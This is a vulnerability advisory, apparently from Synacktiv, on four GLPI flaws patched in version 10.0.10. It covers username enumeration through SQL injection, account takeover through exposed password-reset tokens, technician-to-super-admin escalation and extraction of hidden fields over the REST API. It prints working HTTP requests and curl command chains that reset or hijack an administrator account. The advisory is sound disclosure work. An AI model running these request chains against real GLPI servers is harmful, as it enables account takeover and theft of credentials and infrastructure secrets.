Multiple vulnerabilities in GLPI

31/10/2023 - Download

Product

GLPI

Severity

High

Fixed Version(s)

10.0.10

Affected Version(s)

≤ 10.0.9

CVE Number

CVE-2023-41321, CVE-2023-41322, CVE-2023-41323, CVE-2023-41324

Authors

Jean-Baptiste Mesnard-Sense

Description

Presentation

GLPI is an open source solution for IT asset management and help desk.

Issue(s)

Synacktiv discovered several vulnerabilities in GLPI.

One was reachable without authentication:

Other ones require authenticated access to the REST API:

Timeline

Date Description
2023.08.08 Advisory sent to glpi-security@ow2.org
2023.09.06 The vulnerabilities are assigned CVE-2023-41321, CVE-2023-41322, CVE-2023-41323 and CVE-2023-41324.
2023.09.25 GLPI 10.0.10 is released and contain patches for the vulnerabilities.
2023.09.26 GLPI advisories are published on GitHub (GHSA-3fxw-j5rj-w836, GHSA-9j8m-7563-8xvr, GHSA-5cf4-6q6r-49x9 and GHSA-58wj-8jhx-jpm3)
2023.10.31 Public release

Technical details

CVE-2023-41323: User login enumeration by unauthenticated user

Description

One feature of the dashboard that is used to visualize user's information is accessible without authentication. The search by name feature could then be used to determine if a username is valid on the platform.

If the username exists, the user is redirected to the same page with the corresponding user ID on the platform:

GET /front/user.form.php?name=glpi HTTP/1.1
Host: glpi.local

HTTP/1.1 302 Found
Date: Fri, 28 Jul 2023 13:45:01 GMT
Server: Apache/2.4.56 (Debian)
Location: /front/user.form.php?id=2
[...]

Meanwhile, if the user does not exist, the user is redirected without the ID:

GET /front/user.form.php?name=synacktiv HTTP/1.1
Host: glpi.local

HTTP/1.1 302 Found
Date: Fri, 28 Jul 2023 13:51:53 GMT
Server: Apache/2.4.56 (Debian)
Location: /front/user.form.php?id=
[...]

This method has however the inconvenient that we need to guess valid usernames in order to have a result.

Indeed, the underlying SQL request is:

SELECT `id` FROM `glpi_users` WHERE `name` = 'synacktiv'

After further analysis, it was observed that the type of the name parameter was not checked in the PHP code. Thus, it is possible to perform an SQL injection in the WHERE clause by using a PHP array to insert an additional LIKE clause:

GET /front/user.form.php?name[0]=LIKE&name[1]=n% HTTP/1.1
Host: glpi.local

HTTP/1.1 302 Found
Date: Fri, 28 Jul 2023 14:48:21 GMT
Server: Apache/2.4.56 (Debian)
Location: /front/user.form.php?id=5
[...]

The corresponding request is:

SELECT `id` FROM `glpi_users` WHERE `name` LIKE 'n%'

From that point, it is possible to simply iterate through characters to extract all valid usernames from the application.

Impact

By exploiting this vulnerability, attackers could guess valid usernames on the web server. Depending on their ability to find a valid password, they could then obtain authenticated access to the GLPI instance.

CVE-2023-41324: Account takeover through the REST API

Description

An authenticated user with read access to users resources can use the API to read the password_forget_token attribute of any user, and can therefore take over other user accounts. To execute such a scenario, the password reset feature and the REST API must be activated.

$ curl http://glpi.local/apirest.php/initSession -H 'Authorization: user_token evX[...]DFX'
{"session_token":"icrpmi52897olep7vs00585l4u"}

$ curl http://glpi.local/apirest.php/getMyProfiles -H 'Session-Token: icrpmi52897olep7vs00585l4u'
{"myprofiles":[{"id":2,"name":"Observer","entities":[{"id":0,"name":"Root entity","is_recursive":1}]}]}

$ curl -s http://glpi.local/apirest.php/User/?expand_dropdowns=true -H 'Session-Token: icrpmi52897olep7vs00585l4u' | jq -r '.[] | select(.authtype ==1 ) | [.id, .name] | @csv'
2,"glpi"
3,"post-only"
4,"tech"
5,"normal"
6,"glpi-system"

$ curl -s http://glpi.local/apirest.php/UserEmail/ -H 'Session-Token: icrpmi52897olep7vs00585l4u' | jq -r '.[] | select(.users_id == 2) | .email'
glpi@localhost.com

$ curl http://glpi.local/apirest.php/lostPassword -X PUT -H 'Content-Type: application/json' -d '{"email": "glpi@localhost.com"}'
["If the given email address match an exisiting GLPI user, you will receive an email containing the informations required to reset your password. Please contact your administrator if you do not receive any email."]

$ curl -s http://glpi.local/apirest.php/User/?expand_dropdowns=true -H 'Session-Token: icrpmi52897olep7vs00585l4u' | jq -r '.[] | select(.name == "glpi") | .password_forget_token'
c2a33864c0d241e3e1d11151f288b1e1723dcf1a

$ curl http://glpi.local/apirest.php/lostPassword -X PUT -H 'Content-Type: application/json' -d '{"email": "glpi@localhost.com", "password_forget_token": "c2a33864c0d241e3e1d11151f288b1e1723dcf1a", "password": "FullyHacked"}'
["Reset password successful."]

Impact

Any authenticated user with read access on users resources could elevate its privileges by impersonating an account with more privileges. The targeted account must have an email address and must use the internal authentication scheme in order to use the password reset feature. Thus, SSO users are not affected by this attack.

Once in possession of administrator privileges, an attacker will have access to all tickets, inventories and linked machines if agents were installed in order to run some jobs.

CVE-2023-41322: Privilege escalation from technician to super-admin

Description

From a technician access, it is possible to edit user attributes on the API. As a consequence, sensitive attributes such as email, api_token and personal_token can be edited to take over a highly privileged account.

$ curl http://glpi.local/apirest.php/initSession -H 'Authorization: user_token 2x4PfCJ90EHkTlEyGm8c6gWRXzbCx5v2rhW9awmj'
{"session_token":"i8nnlgr4scmh2bg4hm1h29q9tt"}

$ curl http://glpi.local/apirest.php/getMyProfiles -H 'Session-Token: i8nnlgr4scmh2bg4hm1h29q9tt'
{"myprofiles":[{"id":6,"name":"Technician","entities":[{"id":0,"name":"Root entity","is_recursive":1}]}]}

$ curl http://glpi.local/apirest.php/UserEmail/ -X PUT -H 'Content-Type: application/json' -H 'Session-Token: i8nnlgr4scmh2bg4hm1h29q9tt' -d '{"input": {"id":2, "email": "synacktiv@localhost.com"}}'
[{"2":true,"message":""}]

$ curl http://glpi.local/apirest.php/User/ -X PUT -H 'Content-Type: application/json' -H 'Session-Token: i8nnlgr4scmh2bg4hm1h29q9tt' -d '{"input": {"id":2, "api_token": "abcdef"}}'
[{"2":true,"message":""}]

$ curl http://glpi.local/apirest.php/User/ -X PUT -H 'Content-Type: application/json' -H 'Session-Token: i8nnlgr4scmh2bg4hm1h29q9tt' -d '{"input": {"id":2, "personal_token": "ghijkl"}}'
[{"2":true,"message":""}]

For each call, the API responds with the ID of the modified user and the true value, meaning that the modification was successful.

We can confirm that we can connect with the stolen account with:

$ curl http://glpi.local/apirest.php/initSession -H 'Authorization: user_token abcdef'
{"session_token":"suip36qdkvbiav1a9a1q6mk6dr"}

$ curl -k http://glpi.local/apirest.php/getMyProfiles -H 'Session-Token: suip36qdkvbiav1a9a1q6mk6dr'
{"myprofiles":[{"id":4,"name":"Super-Admin","entities":[{"id":0,"name":"Root entity","is_recursive":1}]}]}

Impact

A user having the technician profile could generate a personal token, an API token or an email address for a super-admin user. Using such credentials, it is possible to negotiate a GLPI session and impersonate the super-admin account, resulting in a privilege escalation.

Once in possession of administrator privileges, an attacker will have access to all tickets, inventories and linked machines if agents are installed in order to run jobs.

CVE-2023-41321: Sensitive fields enumeration through the REST API

Description

GLPI has defined some blacklists on most of its PHP classes so that users cannot read some attributes through the API. For example, the following attributes of the User class are restricted to prevent account takeover:

class User extends CommonDBTM
{
[...]

    public static $rightname = 'user';

    public static $undisclosedFields = [
        'password',
        'personal_token',
        'api_token',
        'cookie_token',
    ];
[...]

However, when investigating the API, it was observed that one feature can be used to inject arbitrary column names in SELECT queries, thus bypassing this security measure. Any authenticated user on the API, even without privileges, can use this feature:

GET /apirest.php/User/?expand_dropdowns=true&searchText[name]=glpi HTTP/1.1
Host: glpi.local
Session-Token: cov8uk73kaqvjqp6ddli2a0g0l

HTTP/1.1 200 OK
Server: Apache/2.4.56 (Debian)
Access-Control-Expose-Headers: content-type, content-range, accept-range
Accept-Range: User 1000
Content-Type: application/json; charset=UTF-8

[{"id":2,"name":"glpi","password_last_update":null,"phone":null,"phone2":null,"mobile":null,"realname":null,
[...]

The underlying SQL request is the following:

SELECT DISTINCT `glpi_users`.`id`,  `glpi_users`.* FROM `glpi_users` LEFT JOIN `glpi_profiles_users` ON (`glpi_users`.`id` = `glpi_profiles_users`.`users_id` ) WHERE 1=1 AND `glpi_users`.`is_deleted` = 0 AND (`glpi_users`.`name`   LIKE '%glpi%' ) ORDER BY `id` ASC LIMIT 0, 20

Since we control arbitrary columns and can give a value that will be inserted in a LIKE clause, it is then possible to extract undisclosed fields from the database.

GET /apirest.php/User/?expand_dropdowns=true&searchText[api_token]=abc HTTP/1.1
Host: glpi.local
Session-Token: cov8uk73kaqvjqp6ddli2a0g0l

We can see that the undisclosed column is indeed processed by the database in the corresponding request:

SELECT DISTINCT `glpi_users`.`id`,  `glpi_users`.* FROM `glpi_users` LEFT JOIN `glpi_profiles_users` ON (`glpi_users`.`id` = `glpi_profiles_users`.`users_id` ) WHERE 1=1 AND `glpi_users`.`is_deleted` = 0 AND (`glpi_users`.`api_token`   LIKE '%abc%' ) ORDER BY `id` ASC LIMIT 0, 20

And that we indeed have a valid response from the server:

HTTP/1.1 200 OK
Server: Apache/2.4.56 (Debian)
Access-Control-Expose-Headers: content-type, content-range, accept-range
Accept-Range: User 1000
Content-Type: application/json; charset=UTF-8

[{"id":2,"name":"glpi","password_last_update":null,"phone":null,"phone2":null,"mobile":null,"realname":null,
[...]

It is then possible to extract those fields and steal another account or access sensitive columns for all classes accessible through the API.

Impact

Users without privileges could retrieve sensitive attributes values that were normally not reachable from the API due to the undisclosedFields variable. They could then retrieve personal tokens or hashed passwords, granting them the ability to impersonate a super-admin account. Moreover, this vulnerability could permit the retrieval of key infrastructure secrets, like proxy, SMTP or LDAP bind account passwords.

Once in possession of administrator privileges, an attacker will have access to all tickets, inventories and linked machines if agents are installed in order to run jobs. With the infrastructure credentials, they could also move laterally on the network and compromise other assets.